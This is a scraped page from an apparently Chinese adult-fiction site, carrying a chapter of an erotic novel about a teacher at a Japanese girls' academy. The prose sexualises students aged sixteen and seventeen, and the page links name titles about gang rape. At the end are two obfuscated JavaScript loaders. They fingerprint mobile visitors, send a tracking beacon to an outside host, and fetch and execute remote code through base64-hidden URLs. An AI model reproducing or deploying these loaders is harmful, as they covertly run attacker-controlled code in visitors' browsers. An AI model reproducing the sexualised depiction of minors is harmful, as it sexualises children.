绘里指着一个少女道。

小春的全名叫做寺口小春,今年十六岁,出身于四国。

寺口小春长像完全是一个卡通美少女的模样,水灵灵的大眼睛镶嵌在一张圆圆的娃娃脸上,头发不长,前额有着一排整齐的浏海,白色的小翻领薄毛衣里面,是一件丝质的长袖衬衫,红色短裙盖过了大腿,一双棕色小皮靴的上方,露出纤细雪白的小腿,好看极了。

小春说话的声音软软的,听得到一丝糯米的黏性,“最重要的是你要听我们的话,我们要你做什么就做什么,不许给老巫婆告状;然后在学园放假的时候,你要请我们去我们想去的地方玩。暂时就这些,是不是很简单啊?”

我不觉感到莞尔:“我怎么感觉我是来当男保姆的?”

“也差不多了,反正我们讨厌一天到晚的学东西,为什么不让我们享受美好的青春呢?”

绘里握紧拳头的道,“你要是不听话……绿,告诉他你会怎么样。”

一个身材高挑而充满古代美感的少女,笑吟吟的将自己的T恤往旁边拉开,露出了雪白圆润的香肩,“老师,我会告诉主任和校长,你强迫我跟你上床,还要捆绑我……”

高桥绿,十七岁,大坂府人,相貌身材不是少女们中最好的,但是却是最妩媚动人的小妖精。

香肩的下面,一条浅浅的乳沟清晰可见,就连那个紫色的胸罩和那两团粉嫩的半球,也隐约在挑逗着我的神经。

妈的,不用你去告,现在我就有这个念头了!

邪恶的念头一闪而过,我正想开展自己的策略,吓唬吓唬这些不知道轻重的少女,忽地耳中又传来一阵轻巧的脚步声,从那走路的频率和脚踩在地上的重量来判断,居然是玉木真纪又悄悄的走了回来。

我的眼睛余光看向了下面那位羞涩的少女。

果然,她的秀眉一皱,又轻声的道:“来了。”

区区两个字,立刻刚才还一副肆无忌惮的少女们,闪电般的飞回到自己的座位上,乖巧得像是幼稚园里的宝宝。

“老师,你刚才讲的东西好有趣哦,再说一说索尼公司的发展历程吧,你说的这些有趣的东西和别人讲的都不一样,我最喜欢索尼公司的电子产品了。”

绘里稍稍的提高了一点声音,一双玉手不住的做着捏拳的动作,眼神也极端的凶恶。

我很是怀疑,如果现在我不配合她们,会不会被这群少女们扑上来咬上一番。

不过我也知道,就算我现在向玉木真纪检举了她们,少女们所受的惩罚也不会太大,毕竟没有人证物证,玉木真纪就在外面,少女们决计不会和我起冲突、威胁我。

“好吧,既然你们喜欢听,我就说得详细一点。”

脑袋里转过了许多念头,我决定还是先忍耐下来再说,靠着玉木真纪才能制服这群小丫头,可算不得我的手段。

幸好我在来日本之前,有恶补过一些知识,稍微组织了一下,道:“索尼公司的原名叫做东京通信研究所,是一九四六年五月,由电子技术天才井深大创建,随后的几个月,经营天才盛田昭夫也加入进来,井深大主管技术、盛田昭夫主管生产营销,在长达五十年的合作中,两人被商界誉为‘两人三足、天衣无缝’。故事的开头,还要从二战结束后大半年开始……”

我的记性天生过目不忘,看了一遍就能记下,从电视萤幕、walkman随身听、八厘米摄录放影机,再到十五代电视产品的变革、电脑方面惊艳绝伦的后起之秀……再加上中间夹杂着人物传记,讲得是绘声绘色,引人入胜。

开始十二个少女还只是为了应付玉木真纪的偷听,结果到了后来,一个个都认真的托起腮帮听了起来,连玉木真纪什么时候离开的都不知道。

少女们认真的模样,也让我看的满意不已:这样才是乖宝宝的形象嘛!

“所以,索尼现在的成功并不是偶然,也不是容易的,两位创始人所付出的努力艰辛和合作精神,才是他们成功的最主要因素。”

用这句话,我结束了对索尼公司的讲述,下面的少女们仍旧沈迷在故事之中,久久没有回过神来。

“俊雄,你讲得真好啊!看不出来你还是有几分本事的呢。”

沈浸良久,第一个说话的是绘里,巨乳美少女干脆就改变了对我的称唿,不过比起之前她称唿我为老师来说,态度还亲密了不少。

“一点本事都没有,怎么当你们的老师啊?”

我眼睛望向了她们,“现在轮到你们告诉我,从刚才的故事中,你们感受到了什么?”

“喂,说你呢,优子。”

寺口小春推了推那个羞涩的少女。

羞涩少女叫盛田优子,不知怎的我心头一动,优子的出生地也是在常滑市,和盛田昭夫一样,难道她是……

果然,下一刻优子擡起了眼眸,冷冷清清,没有一丝的情感,“爷爷只说过一句话,没有井深先生的支持,他永远也达不到这种成就,最大的功劳应该是井深先生的……所以,我的观念和老师你一样,成功不是来自于一个人,而是大家同心协力的结果,只不过我爷爷是那最为醒目的两人之一罢了。”

“哇!说得好好哦……”

绘里拍掌笑道,转而却又看向了自己身后的一个少女,“加奈,你祖外公也说了同样的话吗?”

加奈吐吐舌头,“几个老人家说的都差不多。我祖外公说,他这辈子最幸运的事情就是遇到了盛田先生呢。”

说话的少女叫做高川加奈,十七岁,东京都出身,她有着嫩白色的俏脸,五官的线条柔和而饱满,看上去让人似乎有沈迷于梦中的感觉。

听到她的话,我再次无语了。

这都是些什么学生啊,一个是索尼前任总裁的孙女儿,一个是索尼终身名誉董事长的第四代后裔,单单这个身份摆出去就是一种荣耀,更别说她们家族持有的索尼股票价值,如今发展到多么惊人的数字。

不是同一个阶级的人,不会在一起开心的学习玩耍生活,这种隔阂并不是刻意为之的,而是身份和地位,注定了她们的与众不同。

像是绘里、小春、绿,甚至是其他的女孩子,大家能这么其乐融融的生活在一起,想来他们的背后,也是一个个显赫的家族吧。

我忽然想起了一个调查,上面所说的全世界从中世纪以来的贵族,只有两个地方最多,一个是大不列颠,另一个就是日本。

要说贵族历史的渊源,中国、法国、埃及等地方,那是大不列颠和日本拍马都赶不上的。

只不过中国历代的造反,都喜欢斩草除根,前一个朝代的高官贵族们,几乎都会被斩杀殆尽。

法国更是可怜,几次大革命,革命来革命去,所有的贵族在那一百多年间,死的干干净净,比中国的贵族们还惨。

埃及就不用再说,这个文化流失得最严重的国家,连他们自己都分不清,现在谁是贵族的后裔,谁是平民后裔……反正大家现在都很穷,日子就这么过下去吧,虚名不用计较。

大不列颠和日本都是岛国,然而其境遇却各不相同,各自保存贵族的原因也不同。

自中世纪以来,从来只有大不列颠去欺负别人的份儿,轮不到别人打上大不列颠群岛上来,再加上国家王权的稳定,所以无数的贵族保存了下来。

日本则是很奇怪,好战成性,不时的内斗,这样的情况在战国时期发展到了顶峰……可到了最后,无论织田、丰田、德川等等哪个家族,都有着血脉流传下来,对贵族不斩尽杀绝,也好像是一种约定的规矩了。

“柳老师,听说你是哈佛大学出来的高材博士生,哈佛大学的课程你觉得难吗?”

高桥绿充满了好奇心,“那里的帅哥多吗?你长得这么高,是不是因为牛肉吃多了啊?你的女朋友是白种人吗?”

我和善的道:“高桥同学,如果你有这么多问题的话,老师可以在私底下跟你说,不过你一定要重复刚才对老师做的动作。”

高桥绿低啐一声,脸色娇红起来,她只是外表妩媚,实际上可从来没有真正勾引过男人,而对一个正常的男子做那样的举动,还是私底下的……结果是可想而知。

少女们都是小鬼灵精,出身大家族的她们,一直都善于察言观色,从我的眼睛中,她们都没有看到一丝淫欲的色彩,只是瞧见了调侃意味,故而大家都知道,我这是开始对她们施压反击了。

此种风气不可长!

少女们互相望了一眼,轻点臻首的达成了竟见一致。

“老师,我们不会骗你,如果刚才小春说的你不能做到的话,主任就一定会看见教室里少女的裸体。”

巨乳少女绘里站了起来,那滔天的气势如同她的E罩杯胸乳一般,不住的压向我。

“那么在她到来之前,我一定会先吃掉绿的,我说到做到。”

我也一本正经的道。

少女们为之一愣,尤其是高桥绿,简直吓了一跳,等她们再想从我眼中看到什么东西的时候,却发现我的双眼已经变成了一潭清水,深邃而明亮。

绘里有心上前再恐吓我一下,可眼前的老师再也不是之前的女人,而是一个男人,这个男人要真的对她们做出什么事情的话,那这种小闹剧可是得不偿失呢。

教室之中一时陷入了僵局。

“好了,现在已经是下课的时间,有什么问题,我们明天再说。”

我微笑着道,“如果你们想要挑战我的男人本能,我随时恭候你们的大驾。不过在此之前,请你们认真学习我教给你们的东西,因为那是你们父母花了钱要你们来学的。不懂得珍惜的人,也不会被别人珍惜,你们记住了。”

顿了顿,我望向了盛田优子和高川加奈,“还忘了恭喜你们,前几天索尼新发行的最新次世代主机PLAYSTATIONⅡ,是个非常优秀的创意和产品,今年索尼给你们的家族带来的利润,将是无比的丰厚啊!”

言罢,我潇洒的走出了教室,留下一群面面相觑的美少女。

这群小女生终究是温室里的花朵,脸皮还不够厚。

上次在全美医学研讨会上,也有类似的事情发生,当时是一群美貌如花仰慕我的女医生冲进我的房间,我也曾经对她们说过同样的话。

没想到话刚说完,她们就毫不犹豫的脱下了自己的衣服胸罩内裤,那赤裸裸的丰乳肥臀诱惑,使得我差点没有当场扑上去,来个花从大采蜜。

然而老头子仔细叮嘱过,如果十八岁不到就失去童男之身的话,就会浑身经脉碎裂而亡……比起美人儿来说,还是生命重要一些,况且只要熬过十八岁,还不是天宽任我翺翔?

所以,我很英勇的、遗憾的冲出了房门。

当时我的身上只穿了一条内裤。

最令我尴尬的是,冲出房门时,恰好遇到一百多个女护士经过这一层……

此事成了去年医学界的一大笑料。

幸好她们不知道纳克医生就是柳俊雄,也幸好这群少女涉世未深。

感谢各路仙女姐姐。

第六章风波又起

老师这个职业很轻松,特别是在这个贵族女校之中,就更是如此了。

我需要教的学生,第一批就只有这么十二个,其他的女孩子对金融没有兴趣,她们的父母也没有要求,所以樱花学园不能强求。

也就是绘里这些少女们,因为很是无聊,才来听听看。

高中部少女们每天上课时间是六个小时,上午八点到十一点、下午三点到六点,中午还有两个小时的午睡时间,女孩子是要保养皮肤的,多睡觉没有坏处。

短短六个小时的时间,每周还上课五天,光是三年级女孩就要学习十三门功课,分配下来,我这个现代商业的教授时间,也不过一周两节课,每次时间是标准的一个小时。

像是这样的日子,如果我单单是老师的话,恐怕会无聊到死吧。

走回玉木真纪的办公室,她正在听着一个女老师的哭诉,这是一位国中部的老师,长像娇美,穿着一身宽松的衣服,脸上挂满了泪珠。

细听之下,原来她是被那些学生捉弄,被关进了厕所,小女生们还从中空的头顶上倒下一盆水来,让她洗了个凉水澡……而这已经是今年的第二次了。

玉木真纪安慰了她一阵,却也同时说明,如果受不了可以主动辞职,连孩子的恶作剧都受不了的老师,不是樱花学园需要的老师。

美女老师呜咽着擦干了眼泪,表明了自己会更加努力后,转身走了出来。

毕竟樱花学园的薪水特别高,平日里教学的时间又少,谁也不愿意轻易的放弃。

走到门口,美女老师看到我站在外面,羞涩的低下了头,冲我打了个招唿后,小跑着走下了楼。

“坐吧,柳老师,你的表现非常的好,这群孩子还是第一次那么认真的听讲。”

玉木真纪对我是赞赏有加,“你的讲述很引人入胜,要不是我这里有些事情要处理,我也会听完的。”

“主任客气了。”

我和声道,“这些孩子的天分都不昏,如果好好的引导,将来无论是管理家族事业还是夫家事业,都会是很好能手。”

“如果真是这样的话,她们的父母就得给你敬茶道谢了啊。”

玉木真纪淡淡的笑着,“但我也要提醒你,她们不是那么好管教的。刚才你都看见了吧?区区国中部都那么难以管理,更别说这所学园里年龄最大的她们了。”

想起了少女们层出不穷的小把戏,我点头赞同道:“主任,既然你知道是这样,为什么不对她们进行约束?”

玉木真纪很奇怪的看着我,“贵族可不是普通人,如果用现代的教育来约束她们的个性,就失去了她们原本的味道。柳老师,你难道不觉得,让每个少女都能自由自在的成长,才是对她们负责吗?”

我不以为然的道:“但是她们也不该如此的肆无忌惮,像是刚才那位老师的事情……如果在美国,我们会用棒子告诉她们,什么是尊师重道和礼义廉耻。”

玉木真纪看不出是什么表情,“你说的话我听见了。柳先生,请记住,这是日本,不是美国。你也是一位贵族,请不要学那些低等人一样,对贵族少女们用如此残忍的刑罚。”

见她油盐不进,我也不再多说,“不管怎么说,我的意见向你表达了。如果没有什么事情的话,我是不是可以回家了?”

玉木真纪摊开手,“按照常理来说,你应该在下课后,在你的办公室待上一个小时,以免学生们有什么问题请教,却找不到人。不过今天是你第一天上课,就随便你吧。”

“那么主任,失礼了。”

走出了教务主任办公室,我的嘴角笑意连连,少女们,你们可别学那群肆无忌惮的小丫头,否则柳老师可有的是东西给你们享受了。

※※※走在回家的路上,正是上午十点左右,这几个住家聚集的町的路上,周围没有太多的人,冷冷清清的,和平日里的华盛顿完全是两回事,那里无论是哪里的大街小巷,都充斥着闹哄哄的感觉。

“叮铃铃……”

手机声音响了起来,我微微一愣,难道是学园又有事情?

我的这支手机用的是美国一颗军用卫星的线路,除非我想让别人联系我,否则谁也无法打电话进来。

并且手机还能同时使用好几个号码,别人打电话来,都是转到这支手机,并且同样有保密效果。

像是刚刚来到日本,我就买了一张SoftBank的卡,用特殊频率接通到了我的手机上。

拿起来一看,这是个陌生的号码,卫星显示对方所在地,也不是一千米之外的樱花学园。

“喂,你好。”

我接起来道。

“啊,先生,是你吗?”

手机那边传来一个年轻女人的声音,“我是铃木京香,几天前承蒙您的帮忙,救了一位出了车祸的中年男子。”

我眼前浮现出一个英姿焕发的巾帼美人医生的脸庞,“嗯,是你啊,有什么事情吗?”

京香急促的道:“是这样的,先生。我们按照您的吩咐,在手术完成后的六个小时,就送关崎先生到了摩多医学院。本来他的气息都很不错,可是刚才我们去看他时,发现他的病情又有了反复,心脏跳动越来越慢,手脚也都冰冷得很。”

“他的血脉刚刚做出流动方面的改变,身体还没法适应,然后输入抗菌药过多,就会引起排斥反应。”

我淡淡的道,“这一点我早就提醒过你。”

京香声音一顿,很是愧疚的道:“先生,您说的话,我已经一字不漏的转告给了治疗他的医生,可是别人到底会不会那么做,也不是京香能够决定的啊!”

“我同意你的说法,的确不是你能决定的。但这也同样不是我能控制的,我已经做出了医生的嘱咐,至于执行不执行,已经和我无关。”

我声音没有波动的道,“好了,京香小姐,如果你没有其他事情的话,我就挂电话了。”

“不……”

京香慌了起来,“先生,请您过来看看吧,关崎先生的情况很危险,我真担心他撑不下去了。他的孩子今年才十岁啊,不能就这么没有了父亲……”

“你这个女人很啰嗦啊!”

我皱起了眉头,“他又不是你的亲戚,你这么紧张他干什么?”

京香话语中带着哭泣的意味:“先生,请不要这样。身为医生,救治病人不是我们的天职吗?任何一个有希望救活的病人,我们都该付出百分之百的努力。况且关崎先生明明已经被先生您救活了,却因为别人的失误枉送性命,先生不觉得惋惜吗?”

“白痴女人!”

我没好气的摇头道:“这就没见过你这种白痴,连病人的生死都看不透,你是怎么当上医生的……现在你在什么地方?”

“啊……是!”

京香战战兢兢被我责骂着,忽然听到最后一句话,不禁喜极而泣,“先生,我在文京区小石川的摩多医学院,请您一定要过来,京香在门口等着您。”

“嘟……嘟……”

电话那头没有传来回答,留给京香的只是挂断手机的声音。

哭泣着的京香,心中却是高兴得很,先生虽然脾气暴躁,可真的是一个很好的人呢!

半个小时后,一栋八层楼的大医院门口,我见着了穿着一身米黄色风衣的铃木京香。

“先生,您终于来了。”

见到我的身影,京香欢喜的小跑过来,冰凉凉的玉手拉住了我,“快跟我进去吧,他们已经开始给关崎先生做手术了。”

变成了粗犷汉子的我,眼睛一冷,转身就往外面走去,“计程车,等一等,载我回去。”

京香吓了一跳,赶紧一只手紧紧的挽住了我,另一只手关上了车门,对着里面的司机道:“大叔,谢谢你,他不坐车了。”

“小俩口吵什么吵啊?”

司机大叔嘿嘿笑道,“小伙子,你长得那么丑,有个这么漂亮的女朋友该捧在手上珍惜才对,怎么能这么冷漠呢?”

“啊……瞧您说的……快走吧,大叔,别耽搁了其他有需要的客人。”

京香羞涩的将计程车给赶走了,一只玉臂却从来没有放松过力道,以至于她的娇躯有一半贴在了我的身上。

嗯,那对浑圆的玉乳虽说不大,可是坚挺得紧,美丽的处女真是令人喜欢啊!

京香没有发现我正在感受着她胸部的美好,发现我面无表情时,京香低声的道:“对不起,先生,你为什么要走呢?”

我回过神来,淡然的说道:“开刀做手术,是以为他的血脉堵塞,所以导致的供血功能不足吗?这些蠢货!现在只要将消炎抗菌药换成生理食盐水,让他自然的适应几天,就会没有事情。可是一开刀,反而是对他脆弱身体的巨大伤害,他还有什么可活的?既然已经必死无疑,我还留在这里干什么?”

京香黛眉猛地蹙起,“先生,这样简单的办法,您怎么不早点和我说呢?要是我之前去……”

我打断了她的话语,“你连让他们遵从我的意思都办不到,又凭什么去让他们换输液的药水?”

“那您还赶过来,他们也不会相信您的啊……”

京香略显委屈的翘着樱唇,心中同时在埋怨,怎么现在才知道叫先生过来没有用呢?

“不要把我看成是和你一样的白痴。”

我笑了起来,“看着你这个丫头还算是有点意思,我打算过来让你想想办法,将他送回到铃木私人诊所,在那边我倒是可以帮帮忙的。”

京香眼睛一亮,不管三七二十一,扯着我就往医学院大楼跑去。

“干什么?”

我莫名其妙的,但又怕硬着不走而伤了她,只得顺着她的拉扯。

“先生,我想到法子救关崎先生了……”

京香边跑边说道,明显的有些喘气不及。

就这么着,京香将我拖到了二楼的一个手术室入口,那里坐着一群人,看来都是在等着里面做手术的病人亲属。

“佳子,关崎夫人!”

京香抓着我走到了靠近里面一点的一张椅子上,上面坐着一个中年女人和小女孩,她们的脸色都很憔悴,眼睛的焦距都是散乱的,由此看出心理压力是多么的大。

“啊,是京香小姐啊!”

关崎夫人赶紧站了起来,“丰国现在还在旁边的三号手术室做手术,没有出来。”

我擡头看了看周围,这里一共有六间手术室,规模都不大,并不是一流医院那种手术室都统一的和外面隔离开,同处一个消毒卫生的楼层。

六间手术室之中,五间都亮起了红灯,示意手术正在进行中。

“京香阿姨,你说我爸爸会好起来吗?”

小女孩拉着京香的手道,她长得粉嘟嘟的,脸上大眼睛仍旧残留着泪珠,可爱又惹人怜悯。

“放心吧!”


上一篇:校花的淫荡学期

下一篇:轮奸球队经理


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};